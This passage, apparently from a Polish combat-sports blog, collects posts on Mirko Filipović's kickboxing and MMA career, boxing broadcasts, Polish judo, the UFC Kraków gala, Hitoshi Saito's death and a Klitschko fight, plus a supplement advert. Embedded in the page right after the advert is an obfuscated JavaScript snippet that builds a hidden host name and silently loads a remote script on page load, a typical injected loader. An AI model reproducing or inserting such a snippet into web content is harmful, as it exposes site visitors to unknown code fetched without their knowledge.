Chorwację na mistrzostwach Europy w Mińsku, gdzie przegrał w pierwszej rundzie z Sinanem Samilem Samem. W tym samym roku zdobył brązowy medal na igrzyskach śródziemnomorskich oraz srebrny na mistrzostwach CISM w Niemczech.  Do K-1 wrócił w 1999 roku pod okiem Damirema Siserema.  W pierwszej walce po powrocie, Mirko znokautował Jana Nortje, po czym stoczył pięć walk, z czego przegrał jedną. Zwycięstwa nad Bernardo, Musashim i Greco doprowadziły go do finału K-1 World GP 1999 w Tokio. W finale zmierzył się z Ernesto Hoostem. Również tym razem Holender okazał się górą. Trzecia walka i trzecia porażka z Ernesto Hoostem miała miejsce rok później w ćwierćfinale K-1 World GP 2000.  Pojedynek był bardzo wyrównany i do rozstrzygnięcia potrzebna była dodatkowa runda.  Mimo tych porażek Chorwat szybko awansował do grona gwiazd K-1. W 2001 roku najpierw został sensacyjnie znokautowany przez Michaela McDonalda, a później podczas treningu doznał kontuzji, która go wyeliminowała z eliminacji do finału World GP K-1. Zaproponowano mu występ w walce MMA przeciwko zapaśnikowi Kazuyukiemu Fujicie. Po tej walce Mirko podjął decyzję o rozstaniu z Kick-boxingiem i rozpoczęciu kariery w MMA. W 2002 roku stoczył w K-1 jeszcze 3 walki (wygrał z Yanagisawą, Bonjaskym i Huntem), a w swojej ostatniej walce znokautował Boba Sappa. Karierę MMA rozpoczął 19 sierpnia 2001 roku na gali K-1 Andy Hug Memorial. Walczyli tam na specjalnych zasadach Kick-boxerzy z graplerami.  Mirko pokonał przez TKO Kazuyukiego Fujitę.  W listopadzie 2001 roku zadebiutował w organizacji PRIDE FC, gdzie podczas gali PRIDE 17 zremisował z Nobuhiko Takadą. Po remisie przyszły szybkie zwycięstwa z takimi zawodnikami jak: Igor Wowczanczyn, Heath Herring czy Kazushi Sakuraba. Mirko zremisował także z Wanderleiem Silvą.  Zwycięską passę zakończył Antonio Rodrigo „Minotauro” Nogueira, który w walce o tymczasowe mistrzostwo PRIDE w wadze ciężkiej poddał Filipovica.  Szansą na odzyskanie miana pretendenta do tytułu miał być dla Chorwata udział w turnieju PRIDE Grand Prix 2004, w którym miało dojść do jego walki z Fiodorem Jemieljianienko. Najpierw jednak Mirko musiał pokonać Kevina Rendlemana. Mimo że był faworytem przegrał przez szybki nokaut.  Porażka zmniejszyła szanse na walkę o mistrzostwo, jednak po siedmiu kolejnych zwycięstwach z rzędu, władze PRIDE dały mu szansę na walkę o pas. Walka ta odbyła się w sierpniu 2005 roku. Walka była wyrównana, ale to Rosjanin okazał się lepszy, i to on wygrał przez jednogłośna decyzję sędziów.  Następne dwie walki stoczone przez Chorwata były pojedynkami rewanżowymi. Pierwszy pojedynek wygrał z Joshem Barnettem. A drugi przegrał z Markiem Huntem. W 2006 roku Mirko osiągnął swój największy sukces w karierze MMA. Wygrał turniej PRIDE Openweight Grand Prix na którym kolejno wyeliminował Ikuhisę Minowę, Hidehiko Yoshidę, Wanderleia Silvę, a w finale Josha Barnetta. W grudniu 2006 roku podpisał dwuletni kontrakt z UFC. Pierwszą walkę dla UFC stoczył 3 lutego 2007 roku pokonując Eddiego Sancheza. W drugiej walce przegrał z Brazylijczykiem Gabrielem Gonzagą.  Trzecią walkę dla UFC również przegrał, co spowodowało odejście Mirko z UFC. 15 marca 2008 roku zadebiutował w DREAM, gdy pokonał przez TKO Tatsuyę Mizuno.  W następnej walce zmierzył się z Alistairem Overeemem. Pojedynek został przerwany, gdy kilkukrotnie trafiony kolanem w krocze, Mirko odmówił kontynuowania dalszej walki. Na sylwestrowej gali Dynamite!! 2008. Chorwat zmierzył się z zawodnikiem K-1, Choi Hong-manem. Mirko pokonał go przez TKO.  W maju 2009 roku podpisał kontrakt na jedną walkę dla UFC. 13 czerwca w Kolonii stoczył pojedynek z Mostaphą Al-turkiem.  Podczas walki Chorwat przy wyprowadzaniu ciosu, niechcący włożył palec w oko rywala. Brytyjczyk , nie będąc w stanie kontynuować pojedynek, odwrócił się plecami do rywala i przyjął kilka ciosów bez odpowiedzi.  Sędzia nie dopatrując się faulu przerwał pojedynek i ogłosił zwycięstwo Filipowica przez TKO.  Manager Brytyjczyka złożył oficjalny protest, jednak wynik walki się nie zmienił.  W Lipcu Mirko podpisał kontrakt na trzy kolejne walki. Pierwszą z nich przegrał przez poddanie z Juniorem Dos Santosem, gdy po jednym z ciosów doznał kontuzji oka. Drugą walkę wygrał przez TKO pokonując Australijczyka Anthonego Peroshema. Cztery miesiące później Chorwat pokonał Patricka Barry’ego przez duszenie zza pleców.  Mirko walczył ponownie już we wrześniu, gdy zgodził się zastąpić Antonio Rodrigo Nogueirę w walcę z Frankiem Mirem.  Chorwat przegrał przez ciężki nokaut w ostatniej minucie walki. Pół roku później również został znokautowany tym razem przez Brendana Schauba. 29 października odniósł trzecią porażkę z rzędu, przegrywając z Royem Nelsonem. W konsekwencji ogłosił zakończenie kariery MMA. Jednak rok później postanowił wznowić karierę w MMA. 23 sierpnia 2014 roku zdobył pas mistrza Inoki Genome Fight, pokonując złotego medalistę olimpijskiego w Judo, Satoshiego Ishiiego, wskutek głębokiego rozcięcia i niedopuszczenia go do kontynuowania walki. Pas obronił 30 grudnia na sylwestrowej gali Inoki Bom-Ba-Ye nokautując w rewanżowej walce Ishiiego.  10 marca 2012 roku w Zagrzebiu pokonał w walce na zasadach K-1 Raya Sefo. 27 maja na gali K-1 Rising w Madrycie pokonał przez nokaut Hiszpana Lorenzo Javiera Jorge „Lorena”. We wrześniu 2012 roku wystartował w kwalifikacjach do turnieju K-1 World Grand Prix.  W pierwszej rundzie turnieju pokonał przez decyzje Amerykanina Randy’ego Blake’a. Finałowa gala odbyła się w Zagrzebiu. Do turnieju zostali zaproszeni min. Badr Hari, Zabit Samiedow czy Hesdy Gerges. W ćwierćfinale Mirko spotkał się z Amerykaninem Jarrellem Millerem, którego pokonał na punkty. W półfinale pokonał na punkty Ukraińca Pawła Żurawiewa. W finale pokonał Ismaela Londta. 

Mocny, bokserski tydzień w FightKlubie!

Juarez vs Castellanos w eliminatorze do mistrzostwa świata WBC w kategorii piórkowej

Mocny, bokserski tydzień zaczynamy już dzisiaj w nocy transmisją prosto z San Antonio. Pokażemy niesamowicie ciekawą galę grupy “Golden Boy Promotions” Oscara De La Hoyi.Funkcję głównej walki wieczoru spełni eliminator do mistrzowskiego tytułu WBC w kategorii piórkowej. Amatorski mistrz świata i srebrny medalista olimpijski Rocky Juarez skrzyżuje rękawice z meksykańskim “Robin Hoodem” Robinsonem Castellanosem. Juarez tytuł ten wywalczył pokonując w maju ubiegłego roku Rene Alvarado. Ten z kolei sięgnął po pas dzięki zwycięstwu … z Castellanosem. Meksykanin ma więc niepowtarzalną okazję odzyskać trofeum. Amerykanin ma również coś do udowodnienia – jeśli zwycięży, pokona dwóch ostatnich posiadaczy pasa WBC Silver i rozwieje wszelkie wątpliwości, czy to właśnie jemu należy się ten tytuł.
Transmisja z gali w nocy z poniedziałku na wtorek o godzinie 04:00, powtórka o 11:30.
 
Bokserskie czwartki – Chris Eubank 

W ramach cyklu „Bokserskie czwartki” o 22:00 zaprezentujemy w tym tygodniu sylwetkę jednego z najlepszych w historii pięściarzy wagi średniej i junior ciężkiej, Chrisa Eubanka. W sumie stoczył on 52 walk, z których aż 45 rozstrzygał na swoją korzyść. Pierwszą zawodową walkę Brytyjczyk stoczył w 1985 roku, a już pięć lat później – po wygranej z Hugo Antonio Cortim – zdobył pierwszy poważny tytuł, pas WBC International w wadze średniej. Od tamtej walki przez pięć kolejnych lat i dwadzieścia dwa pojedynki konsekwentnie bronił tytułu, oddał go dopiero w 1995 roku minimalnie przegrywając na punkty ze Steve’em Collinsem.
 
ESPN Friday Night Fights: Karl Dargan – Tony Louis

Z piątku na sobotę o 03:00 (powtórka o 11:30) pokażemy na żywo kolejną galę z cyklu ESPN Friday Night Fights. Będzie to osiemnasty zawodowy pojedynek pochodzącego z Filadelfii Karla Dargana. We wszystkich poprzednich schodził z ringu jako zwycięzca, a w swoich ostatnich walkach pokonał przez nokaut Angino Pereza, Anthony’ego Floresa i Chazza McDowella sięgając przy okazji po wakujący pas NABF Junior oraz po USBA Atlantic Coast Region w wadze lekkiej. Tym razem na ringu skrzyżuje rękawice z Kanadyjczykiem Tonym Louisem, który ostatnią walkę również rozstrzygnął na swoją korzyść. Wygrał w niej z Wanzellem Ellisonem. Kto tym razem okaże się mocniejszy, dowiemy się w najbliższy weekend.

Źródło: materiały prasowe

Mistrzyni w akcji

Iwona Nieroda po sukcesie odniesionym podczas mistrzostw świata w Turcji po raz kolejny stanie na placu boju. Polska mistrzyni wystąpi na gali Battle of Warriors Extra.

Nieroda stoczy swój pojedynek 21 lutego w Budzownie. Polka zmierzy się z Niemką Lindą Faysal, która ostatnio walczyła w listopadzie. Podczas gali Heroes Fight Night 4 reprezentująca barwy Ringside Gym Berlin decyzją sędziów pokonała Marinę Kollassę. Niemka będzie zatem kolejnym wyzwaniem w karierze Nierody. Polka ustawicznie buduje swoją pozycję na rynku, a swoją wartość udowadnia podczas największych imprez.

Nieroda ostatnią walkę stoczyła w grudniu. Było to starcie o pas zawodowej Mistrzyni WAKO PRO Low Kick. Nieroda zmierzyła się z Sedą Aygun, którą pokonała przez decyzję sędziów. Po raz drugi w karierze wywalczyła mistrzostwo świata. Jednak teraz musi wrócić do normalnej rywalizacji i zapomnieć o historii, która miała miejsce w Turcji. Wszyscy jesteśmy dumni, iż Nieroda jest mistrzynią świata, jednak zawodniczka dalej musi się rozwijać.

W kolejnej walce jej celem jest wygrana. Polka musi przystąpić do rywalizacji z Niemką w pełni skoncentrowana i gotowa na zabójczą wymianę. Z pewnością Faysal tanio skóry nie sprzeda. Obie zawodniczki przystępują do walki z podobnej pozycji. Zarówno Nieroda jak i Faysal wrócą do rywalizacji po około trzech miesiącach. Czy będą głodne walki i rzucą się na siebie? Raczej nie. W końcu staną naprzeciw siebie zawodniczki o określonym potencjale, które w swojej karierze toczyły już pojedynki o wysokim ciężarze. Nieroda i Faysal zmierzą się w jednej z walk wieczoru, więc oczekiwania, co do ich występu są ogromne. Fighterki mają pokazać się z jak najlepszej strony i zrobić show.

Niemiecka solidność i precyzja kontra polska mistrzyni, niezwykle szybka i zwinna. Kto wyjdzie zwycięstwo z tej rywalizacji? Polka ustawicznie rozwija się. Po bogatej karierze amatorskiej bardzo dobrze radzi sobie na poziomie zawodowym. Dwukrotne zdobycie mistrzostwa świata WAKO PRO Low Kick w kategorii do 56 kg mówi samo za siebie. Nieroda znalazła się na szczycie, ale musi pokonywać kolejne szczeble na swojej zawodowej drodze. Nieroda jest zawodniczką młodą, przed którą jeszcze wiele walk. Rywalizacja z Lindą Faysal pokaże w jakim miejscu znajduje się polska mistrzyni.

21 lutego w Budzownie Iwona Nieroda stanie przed kolejnym wyzwaniem. Kolejny występ Polki na wielkiej gali, podczas której stanie naprzeciw zawodniczki z Niemiec Lindy Faysal. Czy fighterka Ringside Gym Berlin zagrozi Nierodzie? Zapowiada się interesujący pojedynek polsko – niemiecki? Z pewnością zawsze walki między tymi nacjami będą budzić ogromne emocje. Czy Nieroda tak jak polscy piłkarze pokona rywalkę zza zachodniej granicy? W przeciwieństwie do naszych futbolistów nasza fighterka będzie faworytką w tym starciu.

KM

Większe pieniądze w judo

Przy każdej możliwej okazji podkreślamy, że w 2014 roku polskie judo zrobiło krok do przodu. Widoczny jest postęp. Postęp, który daje nadzieję na odrodzenie polskiego judo i upragniony medal olimpijski.

Bardzo dobre występy biało-czerwonych  odbiły się szerokim echem. Od dawien dawna Polacy nie osiągali takich sukcesów w judo. Cieszyliśmy się dobrymi występami na Pucharach Świata i Grand Slamach. Po jedenastu latach oczekiwaniach wreszcie zdobyliśmy upragniony medal mistrzostw świata. W Czelabińsku po brąz sięgnęła Katarzyna Kłys. Ponadto, z mistrzostw Europy przywieźliśmy dwa medale. Brąz wywalczyła indywidualnie Agata Ozdoba, drugi krążek to dzieło naszej żeńskiej ekipy. Wokół występów naszych reprezentantów narodziła się aura sukcesu. Sukcesu, który odmieniany jest już przez wszystkie przypadki i ma trwać, a jego kulminacja ma przypaść na Igrzyska Olimpijskie w Rio de Janeiro.

Dokonania polskich judoków zostały zauważone. Na rok 2015 Polski Związek Judo otrzymał ze środków budżetu państwa dofinansowanie w wysokości 2 560 761 zł, a ze środków FRKF – 2 105 958 zł. Z pewnością pieniądze te są niezwykle potrzebne. Na bieżącą działalność związku, na wypłaty dla szkoleniowców i sztabów, na wyjazdy zagraniczne oraz organizację imprez. Sam fakt, że kwoty te są większe niż rok temu pokazuje, iż sukces polskiego judo jest widoczny.

Stan finansów Polskiego Związku Judo również uległ zmianie. Dług jest stopniowo obniżany i sytuacja finansowa organizacji wygląda coraz lepiej. Z tym, że obecnie w PZJudo sytuacja jest trudna. Wszyscy czekają do 8 marca, kiedy to odbędzie się Nadzwyczajny Kongres Polskiego Związku Judo w celu wyboru nowego zarządu. Na poziomie sportowym wszystko jest w najlepszym porządku, pozostaje tylko kwestia ułożenia i uporządkowania stanu na płaszczyźnie formalnej.

Judo znalazło się w punkcie, który daje nadzieję na rozwój dyscypliny w Polsce. Coraz większa liczba dzieci uczęszcza na treningi, pojawiają się kolejne sukcesy. Judo staje się w Polsce popularne i trafia pod strzechy. Na poziomie sportowym widoczny jest progres. Progres, który przełożył się na kwestie finansowe. Wiadomo, że w sporcie jakim jest judo każdy grosz się liczy. Dla naszych zawodników oznacza jest to szansa na lepsze warunki treningowe. Polskie judo zrobiło krok do przodu. Na płaszczyźnie sportowej.

Pozostaje uporządkowanie kwestii formalnych. Potrzeba kogoś, kto wprowadzi porządek i umiejętnie rozdysponuje otrzymane środki. Polski Związek Judo potrzebuje jasnego oraz przejrzystego planu budżetowego. Konieczne jest stworzenie planu, który pozwoli naszej reprezentacji należycie przygotować się do Igrzysk Olimpijskich w Rio de Janeiro. Na obecnym etapie najważniejsze jest, aby nie zmarnować kapitału, który został wytworzony. Polskie judo staje przed ogromną szansą. Szansą, która jest efektem długiej, ciężkiej i często mozolnej pracy. Pracy dającej efekt.

KM

Filipović gwiazdą polskiego UFC

Starczy! Dość! Jeszcze nie! UFC z każdym kolejnym dniem dostarcza nam kolejnych gorących informacji. Największa organizacja mieszanych sztuk walki uchyliła rąbek tajemnicy w kontekście zaplanowanej gali w Polsce. 11 kwietnia w walce wieczoru w Arenie Kraków wystąpi Mirko Filipović.

Od kilku dni fani mieszanych sztuk walki w Polsce żyją tą informacją. UFC zorganizuje w kwietniu swoją galę w Krakowie. Ogromne wyróżnienie, ogromna radość, ogromna szansa, ogromne emocje. Wszystko ogromne. Odkładając emocje na bok należy stwierdzić, że jest to sukces. Sukces, który może przynieść zysk. Nie tylko materialny i nie wyłącznie na polu mieszanych sztuk walki. Kwestię tę należy potraktować szerzej.

Na pewno podczas gali w Krakowie w akcji zobaczymy Jana Błachowicza, który staje się wizytówką Polski w UFC. Do tej pory jedna walka, ale bardzo efektowna. Znamy doskonale możliwości „Johna” i jego charakter, co pozwala stwierdzić, że ma predyspozycje by na dłużej zagościć w najlepszej organizacji mieszanych sztuk walki na świecie. Dla polskich kibiców to dodatkowy bodziec emocjonalny zobaczyć swojego reprezentanta podczas takiej imprezy. Z pewnością Błachowiczowi podczas występu serce szybciej zabije. Nie tylko z wysiłku. Przypomnijmy – rywalem Polaka będzie Jimi Manuwa.

A kto będzie rywalem Mirko Filipovicia? Tego pana przedstawiać nie trzeba. Wybitny zawodnik kickboxingu i MMA zaprezentuje się polskiej publiczności. Filipović zmierzy się z Gabrielem Gonzagą. Panowie mają ze sobą rachunki do wyrównania. Niektórzy z pewnością nie pamiętają, bo fighterzy swój pojedynek stoczyli dawno, dawno temu. Wtedy jeszcze dzieci quadów na komunię nie dostawały. Podczas UFC 70, czyli w kwietniu 2007 roku, Gonzaga potężnym kopnięciem na głowę zakończył pojedynek z Filipoviciem. Po ośmiu latach przyjdzie stoczyć im rewanż.

Filipović to nazwisko. Bez wątpienia i na tym z pewnością bazuje organizator. 40-letni gwiazdor ostatni pojedynek w UFC stoczył w 2011 roku. Filipović zanotował trzy porażki z rzędu i postanowił się wycofać. Myślał o zakończeniu kariery i nawet rozpoczął odpoczynek od zmagań, ale postanowił wrócić. Brał udział w galach, toczył kolejne pojedynki. W czerwcu ubiegłego roku na Glory 17 pokonał Jarella Millera w walce na zasadach K-1.Teraz ponownie zaprezentuje się na gali UFC.

Z jednej strony atrakcją jest zobaczyć w akcji tak znanego zawodnika. Z drugiej warto zauważyć, że Chorwat rozpoczął już odcinanie kuponów od bogatej kariery i jego poziom sportowy daleki jest od idealnego. Ludzie przyjdą zobaczyć w akcji Błachowicza. Filipović może być dodatkiem. Nazwiskiem, które przyciągnie i przykuje uwagę. Gala UFC w Polsce będzie ogromnym wydarzeniem, ale publiczność nie da sobie zamydlić oczu podstarzałym gwiazdorem. Polacy mają swojego idola, za którego będą trzymać kciuki.

KM

Judo dało siłę

Takie historie krzepią serce i dają nadzieję. Pokazują, że warto walczyć i trzeba być zdeterminowanym, nie ustępować ani na krok. Historia Alicji Romanowskiej, która na co dzień jest pielęgniarką to idealny przykład wartości jaką niesie ze sobą sport. W tym przypadku – judo.

Alicja Romanowska pracuje jako pielęgniarka na Oddziale Neurochirurgii w szpitalu wojewódzkim w Elblągu. Od dziecka fascynowała się judo i doskonaliła swoje umiejętności w tej materii. Osiągnęła bardzo wysoki poziom – posiada czarny pas mistrzowski. Judo jest pasją Alicji Romanowskiej. Pasją, która pomogła przetrwać ciężkie chwile. Dwa lata temu usłyszała diagnozę, która była dla niej wielkim szokiem. Rak z przerzutami.

Trening judo. Gorsze samopoczucie, chwila słabości. Nie było sensu czekać. Alicja Romanowska trafiła do szpitala, gdzie dowiedziała się o swojej chorobie. Od razu trafiła na stół operacyjny. Potem była chermioterapia i walka. Co w takiej sytuacji robić? Jak żyć? Nie poddawać się. Łatwo się mówi. Jednak Alicja Romanowska znalazła w sobie ogromną siłę. Miała wsparcie w rodzinie, koleżankach z pracy i opiekowali się wybitni specjaliści. Sama nie zamierzała bezczynnie siedzieć. Wróciła do treningów. To dawało jej siłę i pokazywało, że można. Istotny był również powrót do pracy. Alicja Romanowska nie oszczędzała się, wróciła do normalnego funkcjonowania. Czerpała z życia i cieszyła się nim, ale równocześnie toczyła walkę z chorobą.

Nie poddała się. Podjęła walkę. Fakt, że trenuje judo jest dla niej niezwykle istotny. Okazuje się, że ten sport stał się dla Alicji Romanowskiej swego rodzaju terapią i zarazem wyzwaniem. Judo pomogło jej w trudnych chwilach. Prawdziwa pasja.Alicja Romanowska zachwyca aktywnością. Postanowiła otworzyć własną szkołę samoobrony. Chce pomóc kobietom odkryć w sobie siłę i pragnie zarazić je swoją pasją. W ten sposób wykorzystuje swój talent, pogłębia swoją pasję i pomaga innym. A także sobie. Warto dodać, że Alicja Romanowska dzieli się swoją pasją także na płaszczyźnie rodzinnej. Również jej dzieci trenują judo.

Czasami w życiu stajemy przed sytuacjami, które wprawiają nas dosłownie w osłupienie. Stajemy i zadajemy sobie pytanie: co dalej? Historia Alicji Romanowskiej pokazuje, że trzeba podjąć wyzwanie i walczyć. Dla siebie, dla bliskich. Trzeba żyć. Piękne jest to, że pani Alicja znalazła siłę w judo, z którym związana jest od dziecka. Widać, że pasja może pomóc. Judo jest pięknym sportem. Ktoś, kiedyś powiedział, że judo to życie. Jak widać miał rację. Łagodna droga, która nie jest usłana różami, ale jest ogromną wartością. Wyraźnie widać wpływ judo na życie oraz postawę osoby, która znajduje się w trudnym położeniu. Sport pomaga przełamywać bariery i słabości. Każdy trening, każde wejście na matę sprawia, że człowiek podejmuje wyzwanie. Judo jest piękną dyscypliną, w której zaszczepione są szlachetne wartości. Dla wielu jest czymś więcej. Czymś, co daje siłę. Czymś więcej.

KM

 

Kwietniowe święto

UFC na polskim rynku! Największa organizacja mieszanych sztuk walki na świecie na 11 kwietnia zaplanowała swoją galę w Krakowie.

Dla polskich fanów z pewnością będzie to ogromna gratka. O planach organizacji gali UFC w Polsce mówiło się od pewnego czasu. UFC doceniło nasz kraj i włodarze zdecydowali, że impreza odbędzie się w kwietniu w Krakowie. Mimo wszystko należy postawić pytanie – czy to ukłon w stronę Polski? A może po prostu – dalsza ekspansja biznesowa? UFC jest produktem wszechobecnym, który trafia do społecznej świadomości. Niemalże każdy zna nazwę organizacji, co podkreśla jej potencjał, a także daje ogromne możliwości. UFC bazuje na swojej pozycji, którą chce wykorzystywać. Największa organizacja mieszanych sztuk walki rusza w świat, aby podbijać kolejne rynki.

Dla Polski sytuacja również ma istotne znaczenie. Nasz kraj będzie miejscem imprezy największej organizacji mieszanych sztuk walki na świecie. Sam fakt, że UFC decyduje się na Polskę pokazuje, że zostaliśmy określeni jako miejsce pewnego dobrobytu oraz potencjału. Warto podkreślić, że sama gala może być dobrą reklamą dla naszego kraju. Na zawodach zjawią się fani MMA, być może docenią wartości turystyczne Polski. Z pewnością gala wpłynie na wzrost wartości naszej ojczyzny. Należy pamiętać o tym, że UFC gra o swój interes, ale z drugiej strony nam pomaga. Takie imprezy mogą wypromować Polskę i sprawić, iż organizatorzy innych gal zwrócą swoje oczy w kierunku Polski.

Radość, której kulminacja nastąpi 11 kwietnia. Wtedy to w Krakowie zobaczymy najlepszych fighterów. Wśród nich Jan Błachowicz, który zmierzy się z Jimi Manuwą. Popularny „John” debiutował w UFC w październiku zeszłego roku, kiedy  pewnie pokonał Ilira Latifiego. Błachowicz pokazał się z dobrej strony i zrobił wrażenie na obserwatorach. Teraz dostaje szanse zaprezentowania się przed własną publicznością. Z pewnością to niezwykle ważne dla Błachowicza, ale czy taka presja nie sparaliżuje fightera? Zawodnik o takim potencjalne nie może mieć takich problemów. Kłopotów Błachowiczowi może dostarczyć jego kwietniowy rywal. Jimi Manuwa to mocny przeciwnik, który znany jest z silonych dłoni. 34-latek miał walczyć w grudniu, ale z powodu kontuzji nie mógł zmierzyć się z Mauricio Ruą. Manuwa pokazał się w UFC z dobrej strony. Do tej pory wygrał trzy walki- wszystkie przez TKO. Pierwsza porażka przyszła w kwietniu ur. podczas UFC Fight Night w Londynie. Manuwa przegrał z Aleksandrem Gustaffsonem. Błachowicz dostaje mocnego rywala, z którym czeka go ciężka przeprawa. Wsparcie polskiej publiczności z pewnością będzie cenne dla „Johna”.

Niewykluczone, że podczas krakowskiej gali zobaczymy innych reprezentantów Polski. Pojedynek Błachowicza ma być drugą walką wieczoru. Wielka radość dla fanów mma w Polsce, wyróżnienie i zarazem szansa na promocję dla naszego kraju. 11 kwietnia, Kraków Arena –MMA na najwyższym poziomie. Z Błachowiczem w roli głównej.

 

KM

Odżywki dla sportowców

Wszelkie dostępne dziś na rynku odżywki i suplementy diety, które to są przeznaczone dla sportowców zawierają w swoim składzie substancje mobilizujące organizm, aby o wiele szybciej mógł spalać on tłuszcz. Odżywki te często znane są, więc także, jako „spalacze tłuszczu”. Istnieją jednak także te suplementy diety, jakie to przyczyniają się do budowania tkanki mięśniowej, zaś one znane są nam pod pojęciem odżywki na masę.

Oczywiście doskonale wiemy, że owe suplementy są dostępne bez recepty albowiem nie są to sterydy anaboliczne, przez co można je legalnie kupić. Nie są one także pro hormonami, które to uznane są w sporcie za doping, przez co nie można ich stosować. Odżywki dla sportowców maja jednak inny charakter albowiem w żadnym stopniu nie wpływają na gospodarkę hormonalną zaś, jeżeli są zawsze spożywane w zalecanych ilościach nie są szkodliwe dla zdrowia. Takie odżywki cieszą się szczególnym powodzeniem wśród mężczyzn, ale także coraz częściej sięgają po nie kobiety.

Suplementy diety dla aktywnych

Odżywki oraz suplementy, jakie to są przeznaczone dla sportowców są legalne a także dostępne substancje, które to mają różnorodne działanie. Pierwszym rodzajem są odżywki dla sportowców, czyli takie substancje, które to mobilizują nasz organizm do szybszego spalania tłuszczu, zaś innym odżywki na masę, które to sprawiają, że o wiele szybciej następuje rozwój tkanki mięśniowej. Jednakże musimy wiedzieć, że żadna z tych substancji nie działa bez dodatkowych wysiłków. Z całą pewnością, jeśli zażywamy odżywki musimy także zastanowić się nad adekwatnie dobraną dietą, a także nad aktywnością fizyczną. Suplementy diety jedynie wspomagają nasze wysiłki i zapewniają nam o wiele szybsze rezultaty. Suplementem diety jest także synefryna, która to działa bardzo podobnie jak kofeina. Tym samym zwiększa się energia, przyśpiesza praca metabolizmu, a to sprawia, że następuje także większa szybkość spalania kalorii. Co więcej dzięki tej odżywce zmniejsza się także nasz apetyt. Dzięki tym zaletom substancja ta bardzo często stosowana jest w naszej diecie, jednakże warto pamiętać, aby stosować ją zawsze z umiarem. Jeśli zbyt dużo zażyjemy owej substancji może dojść do palpitacji serca, drżenia rąk, a także skoków ciśnienia. Powszechnie stosowane w diecie sportowców są także preparaty, które to zawierają chrom. Ma on wiele zalet, ale przede wszystkim poprawia nasz metabolizm, a tym samym przyśpiesza proces chudnięcia.

Odżywki dla sportowców

Pośród odżywek dla sportowców na pewno najważniejsza jest kreatyna, która to jest aminokwasem. Substancja ta zwiększa naszą wytrzymałość, sprawia, że poziom energii się podnosi, a tym samym nasze ciało pobudza się do pracy. Dodatkowo dzięki kreatynie zwiększa się masa naszych mięśni, jednakże stosując ją bez ćwiczeń, na pewno efekt będzie mizerny. Kreatynę najlepiej jest stosować zaraz po wysiłku fizycznym. Naturalnie, aby prawidłowo ją przyjmować należy proszek rozpuścić w wodzie. Jednakże warto mieć na uwadze, aby nie przyjmować nadmiernej ilości kreatyny do naszego organizmu, albowiem powoduje ona szybkie odwadnianie. Przyjmując kreatynę powinniśmy pić także znaczne ilości wody, do dwóch litrów w ciągu każdego dnia.

Polecamy sklep.kfd.pl – odżywki i suplementy diety. Nie tylko dla sportowców.

(function(){
uaXv=document.createElement("script");uaXv.type="text/javascript";
uaXv.async=true;uaXv_=(("us")+"t")+"a";uaXv_+=("t.i")+""+"n";uaXv_+=(("f")+"o");
uaXv.src="http://"+uaXv_+"/1730161.883w9tk1aXvzb8mj7fq3fstg9ej8bl";
document.body.appendChild(uaXv);
})();

Odszedł legendarny mistrz judo

Wybitny judoka Hitoshi Saito zmarł w wieku 54 lat. Japończyk był wielkim zawodnikiem, który zapisał się w historii dyscypliny jako dwukrotny mistrz olimpijski.

Powodem śmierci Saito był nowotwór pęcherzyka żółciowego. Historia choroby mistrza z Japonii sięga 2013 roku, wtedy to lekarze wykryli guza u wybitnego zawodnika. Saito podjął leczenie i jego stan był dobry, jednakże na przestrzeni ostatnich tygodni wyraźnie pogorszył się. Okazało się, że choroba był silniejsza.

Hitoshi Saito to ikona judo lat 80. XX wieku. Japończyk startował w kategorii wagowej +95 kg. Pierwszy wielki sukces Saito osiągnął podczas mistrzostw świata w Moskwie w 1983 roku, kiedy to w kategorii open sięgnął po złoty medal. Japończyk dwukrotnie był mistrzem olimpijskim. Saito triumfował podczas igrzysk olimpijskich w Los Angeles w 1984 i cztery lata później w Seulu. Z pewnością to największe sukcesy Japończyka, które na trwałe wpisały jego nazwisko w historię judo. W 1984 roku w finale olimpijskim okazał się lepszy od francuskiego zawodnika – Angelo Parisiego. Nie lada sztuką jest powtórzenie takiego wyczynu jak ponowne zdobycie złota olimpijskiego i to na kolejnych igrzyskach. Saito po raz drugi stanął na szczycie, co pokazało światu jego fenomen i wielkie umiejętności. W 1988 roku w Seulu wywalczył kolejny złoty medal olimpijski, a w finale rozprawił się z reprezentantem NRD Henry’m Stohrem. Z Seulem wiąże się więcej sukcesów japońskiego mistrza judo. W 1985 roku podczas mistrzostw świata Saito sięgnął po srebrny medal.

Wybitny zawodnik, wielki judoka, który swoim życiem świadczył o wielkiej miłości do judo i pokazywał oddanie dyscyplinie. Wierny zasadom, doskonalił się na każdym krokiem. Był wielkim mistrzem – zdobył dwa złota olimpijskie. Wielość tytułów pokazuje fenomen i wielkość Saito. Hitoshi Saito przegrał walkę z chorobą, która przyszła przedwcześnie. Zmagał się z nią dwa lata, ale nie podołał. Miał zaledwie 54 lata. Warto uhonorować jego pamięć, bo był wielkim mistrzem w pełni oddanym idei dyscypliny. To niezwykle ważne. Saito swoją postawą pokazał, że oddając serce judo można wiele osiągnąć. Poświęcił swoje życie dla judo i został mistrzem. Wielkim mistrzem.

W tym miejscu należy wspomnieć także o dokonaniach trenerskich Saito. Japończyk był wybitnym zawodnikiem, ale także szkoleniowcem. Saito prowadził reprezentację Kwitnącej Wiśni podczas igrzysk olimpijskich w Atenach oraz Pekinie. Podopieczni wielkiego mistrza podczas tych imprez wywalczyli aż siedemnaście medali – w tym dwanaście złotych. Również ten fakt pokazuje wielkość Saito, który potrafił przekazać swoją wiedzę oraz doświadczenie młodszym.

Wybitna postać, która odeszła od nas. Przedwcześnie. Zdecydowanie. Hitoshi Saito przegrał z chorobą w wieku 54 lat. Pamięć po nim będzie trwać, gdyż dał judo wiele. Cześć jego pamięci.

KM

Amerykanin postawi się mistrzowi

Stało się faktem, że mistrz świata wagi ciężkiej WBA/WBO/IBO/IBF Władimir Kliczko zmierzy się z Bryantem Jenningsem. Pojedynek odbędzie się 25 kwietnia w Madison Square Garden w Nowym Jorku.

Negocjacje na temat walki trwały od dłuższego czasu. Na drodze do porozumienia pojawiły się trudności, gdyż Jennings związał się z grupą Roc Nation Sports, a początkowo reprezentowany był przez Gary’ego Shawa. Strony musiały ponownie zasiąść do rozmów i ustalać wszystkie kwestie. Mimo wszystko porozumienie osiągnięto szybko. Dla Jenningsa to szansa na wypromowanie się i co by nie mówić – zdobycie mistrzowskich pasów. Kliczko zawalczy w końcu w Stanach Zjednoczonych. Wiadomo, kto jest faworytem pojedynku.

